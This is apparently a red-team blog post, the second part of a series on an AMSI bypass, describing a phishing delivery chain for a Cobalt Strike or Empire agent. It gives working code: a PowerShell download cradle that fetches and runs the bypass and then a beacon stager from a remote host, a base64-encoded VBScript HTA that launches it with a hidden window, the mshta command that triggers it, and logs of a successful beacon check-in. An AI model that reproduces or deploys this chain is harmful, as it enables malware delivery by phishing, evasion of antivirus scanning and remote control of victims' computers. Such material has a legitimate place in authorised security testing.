In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop - it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple :)

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type to make it available within the PowerShell session.

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable() function where it returns an int of 1 if something fails and 0 if it makes it to the end.

So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }. If bypass returns 1, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta.

The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin
10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.